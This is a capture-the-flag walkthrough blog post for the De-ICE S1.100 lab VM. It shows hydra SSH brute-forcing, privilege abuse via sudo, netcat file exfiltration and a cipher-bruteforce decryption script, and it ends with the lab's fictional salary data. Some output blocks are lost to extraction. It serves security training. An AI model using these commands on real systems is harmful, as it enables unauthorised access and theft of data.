De-ICE S1.100 Guide
De-ICE S1.100 Guide
De-ICE S1.100 Guide
1 of 2
https://rasta-mouse.github.io/blog/2013/01/12/de-ice-s1-dot-100/
Cheesy Rumbles
of a Rasta Mouse
RSS
Blog
Write-Ups
About
Contact
Archives
De-ICE S1.100
Jan 12th, 2013 10:07 am
This is a walkthrough of how I completed the De-ICE S1.100 challenge. The end goal is to obtain the CEOs salary information.
Nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
If you open up a web browser and go to 192.168.1.100, you will see a generic welcome page to the De-ICE challenge, with a link to see some hints if you get stuck. To see the game related page, click the link at the bottom of the page and it will take you to 192.168.1.100/index2.php.
This page contains some names and email addresses of employees. I took a copy of this information, and used it to create a list of possible usernames.
Hydra
I then attempted to use these usernames to bruteforce the SSH login.
1 root@kali: ~/de-ice/1.100# hydra -L users -e nsr 192.168.1.100 ssh
2 1 of 1 tar get completed, 0 valid passwords found
The nsr option checks for null password, login as password and reverse login as password. Unfortunately, none of these attempts were successful. Before attempting to use a large dictionary, I decided to look again at my list of users. On a hunch, I swapped the surname and first initials around, so instead of marym I had mmary etc.
I ran this through hydra again, but this time I got a successful hit.
1 [22][ssh] host: 192.168.1.100
login: bbanter
password: bbanter
2 1 of 1 tar get successfully completed, 1 valid password found
This version of Linux is running an old kernel, and is therefore likely to have privilege escalation exploits available. However there is no gcc or python installed, which would make compiling and executing such exploits difficult.
The passwd and group files yielded some interesting information.
1
2
3
4
5
This confirmed that these were the only three users on the system, so I went back and removed the others from my user list.
1 bbanter@sl ax:~$ cat /etc/group
2 root::0:ro ot
3 wheel::10: root
4 users::100 :
Now I knew that bbanter and ccoffee were both members of the users (gid=100) group; and aadams was in the wheel (gid=10) group. The wheel group traditionally allows its users sudo privileges and would therefore be a better account to attack compared to ccoffee.
Hyrda (again)
root@kali: ~# hydra -l aadams -P /usr/share/wordlists/passwords 192.168.1.100 ssh
The password file I used was based on the darkc0de wordlist. To save time, I did some manipulation on it to remove all lines that contained numbers and special characters. It was a gamble that the password wouldnt be too complicated. It seems I got lucky.
[22][ssh] host: 192.168.1.100 login: aadams password: nostradamus
SSH (again)
Since I was still logged in as bbanter, I used su to switch to aadams.
1 bbanter@sl ax:~$ su aadams
2 Password: ***********
3 aadams@sla x:/home/bbanter$ id
4 uid=1000(a adams) gid=10(wheel) groups=10(wheel)
Whilst john was working on these hashes, I used aadams sudo ls rights to browse the file system and eventually came across /home/ftp/inco ming/salary_dec2003. csv.enc. I was able to sudo cat the file, which appeared to be in binary, but it could be piped to strings and more, to make some parts of it readable.
aadams@sla x:~$ sudo cat /home/ftp/incoming/salary_dec2003.csv.enc | strings | more
A little research into the string Salted__, revealed this was a file encrypted using OpenSSL.
OpenSSL
There are lots of options within OpenSSL for encrypting files, different ciphers etc. To this end, I wrote a script that would attempt each cipher on the encrypted file - not forgetting the little clue in the passwd file: DO NOT CHANGE PASSWORD - WILL BREAK FTP ENCRYPTION. This indicated to me that the root password was used during the encryption and that it would be required for the decryption (good job john was able to crack the hash for root).
To make this task a bit easier, I wanted to transfer the file to my Kali machine. There is a (broken) FTP service running, but instead of spending time fixing that to transfer the file, I used netcat instead.
root@kali: ~/de-ice/1.100# nc -lnvvp 4444 > salary_dec2003.csv.enc
1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash
openssl=/usr/bin/openssl
ciphers=$($openssl list-cipher -commands)
key=tarot
in=salary _dec2003.csv.enc
out=salar y_dec2003.csv
for i in $ciphers; do
$openssl enc -d -${i} -in ${in} -k ${key} > /dev/null 2>&1;
if [[ $? == 0 ]]; then
$openssl enc - d -${i} -in ${in} -k ${key} -out ${out}
echo "Successfully decrypted with ${i} and ${key}"
exit 0; fi
done
1
2
3
4
5
6
7
8
9
10
,1,Charles E. Ophenia,"$225,000.00",1,4,2.30%,28.00%,6.30%,1.45%,38.05%,$360.00,$500.00,$860.00,183200299,1123245
,2,Marie Mary,"$56,000.00",1,2,2.30%,28.00%,6.30%,1.45%,38.05%,$125.00,$100.00,$225.00,183200299,1192291
,3,Pat Patrick,"$43,350.00",1,1,2.30%,28.00%,6.30%,1.45%,38.05%,$125.00,$0.00,$125.00,183200299,2334432
,4,Terry Thompson,"$27,500.00" ,1,4,2.30%,28.00%,6.30%,1.45%,38.05%,$125.00,$225.00,$350.00,183200299,1278235
,5,Ben Benedict,"$29,750.00",1,3,2.30%,28.00%,6.30%,1.45%,38.05%,$125.00,$122.50,$247.50,1 83200299,2332546
,6,Erin Gennieg,"$105,000.00",1,4,2.30%,28.00%,6.30%,1.45%,38.05%,$125 .00,$0.00,$125.00,183200299,1456567
,7,Paul Michael,"$76,000.00",1,2,2.30%,28.00%,6.30%,1.45%,38.05%,$125.00,$100.00,$225.00,1 83200299,1446756
,8,Ester Long,"$92,500.00",1,2,2.30%,28.00%,6.30%,1.45%,38.05%,$125.00,$0.00,$125.00,18320 0299,1776782
,9,Adam Adams,"$76,250.00",1,5,2.30%,28.00%,6.30%,1.45%,38.05%,$125.00,$0.00,$125.00,18320 0299,2250900
,10,Chad Coffee,"$55,000.00",1,1,2.30%,28.00%,6.30%,1.45%,38.05%,$125.00,$0.00,$125.00,183200299,1590264
De-ICE S1.110
Comments
0 Comments
1/6/2015 12:54 PM
2 of 2
Tweets
https://rasta-mouse.github.io/blog/2013/01/12/de-ice-s1-dot-100/
Follow
BSidesLondon
@BSidesLondon
10h
12h
14h
15h
Tweet to @_RastaMouse
External Links
People
Barrebas
TheColonial
g0tmi1k
superkojiman
recrudesce
Leonjza
Knapsy
Arr0way
Orgs
VulnHub
Copyright 2015 - Rasta Mouse - Octopress
1/6/2015 12:54 PM